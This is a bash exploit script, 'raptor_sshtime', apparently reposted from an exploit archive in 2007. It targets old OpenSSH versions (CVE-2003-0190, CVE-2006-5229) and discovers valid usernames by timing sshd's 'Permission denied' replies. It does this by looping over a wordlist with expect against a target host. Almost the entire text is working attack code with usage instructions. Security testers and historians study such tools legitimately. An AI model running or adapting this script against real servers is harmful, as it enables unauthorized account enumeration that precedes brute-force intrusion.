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openssh-timing.txt

Posted on 15 February 2007

#!/bin/bash

#
# $Id: raptor_sshtime,v 1.1 2007/02/13 16:38:57 raptor Exp $
#
# raptor_sshtime - [Open]SSH remote timing attack exploit
# Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# OpenSSH-portable 3.6.1p1 and earlier with PAM support enabled immediately
# sends an error message when a user does not exist, which allows remote
# attackers to determine valid usernames via a timing attack (CVE-2003-0190).
#
# OpenSSH portable 4.1 on SUSE Linux, and possibly other platforms and versions,
# and possibly under limited configurations, allows remote attackers to
# determine valid usernames via timing discrepancies in which responses take
# longer for valid usernames than invalid ones, as demonstrated by sshtime.
# NOTE: as of 20061014, it appears that this issue is dependent on the use of
# manually-set passwords that causes delays when processing /etc/shadow due to
# an increased number of rounds (CVE-2006-5229).
#
# This is a simple shell script based on expect meant to remotely analyze
# timing differences in sshd "Permission denied" replies. Depending on OpenSSH
# version and configuration, it may lead to disclosure of valid usernames.
#
# Usage example:
# [make sure the target hostkey has been approved before]
# ./sshtime 192.168.0.1 dict.txt
#

# Some vars
port=22

# Command line
host=$1
dict=$2

# Local functions
function head() {
echo ""
echo "raptor_sshtime - [Open]SSH remote timing attack exploit"
echo "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
echo ""
}

function foot() {
echo ""
exit 0
}

function usage() {
head
echo "[make sure the target hostkey has been approved before]"
echo ""
echo "usage  : ./sshtime <target> <wordlist>"
echo "example: ./sshtime 192.168.0.1 dict.txt"
foot
}

function notfound() {
head
echo "error  : expect interpreter not found!"
foot
}

# Check if expect is there
expect=`which expect 2>/dev/null`
if [ $? -ne 0 ]; then
notfound
fi

# Input control
if [ -z "$2"  ]; then
usage
fi

# Perform the bruteforce attack
head

for user in `cat $dict`
do
echo -ne "$user@$host		"
(time -p $expect -c "log_user 0; spawn -noecho ssh -p $port $host -l $user; for {} 1 {} {expect -nocase "password*" {send "dummy
"} eof {exit}}") 2>&1 | grep real
done

foot

 

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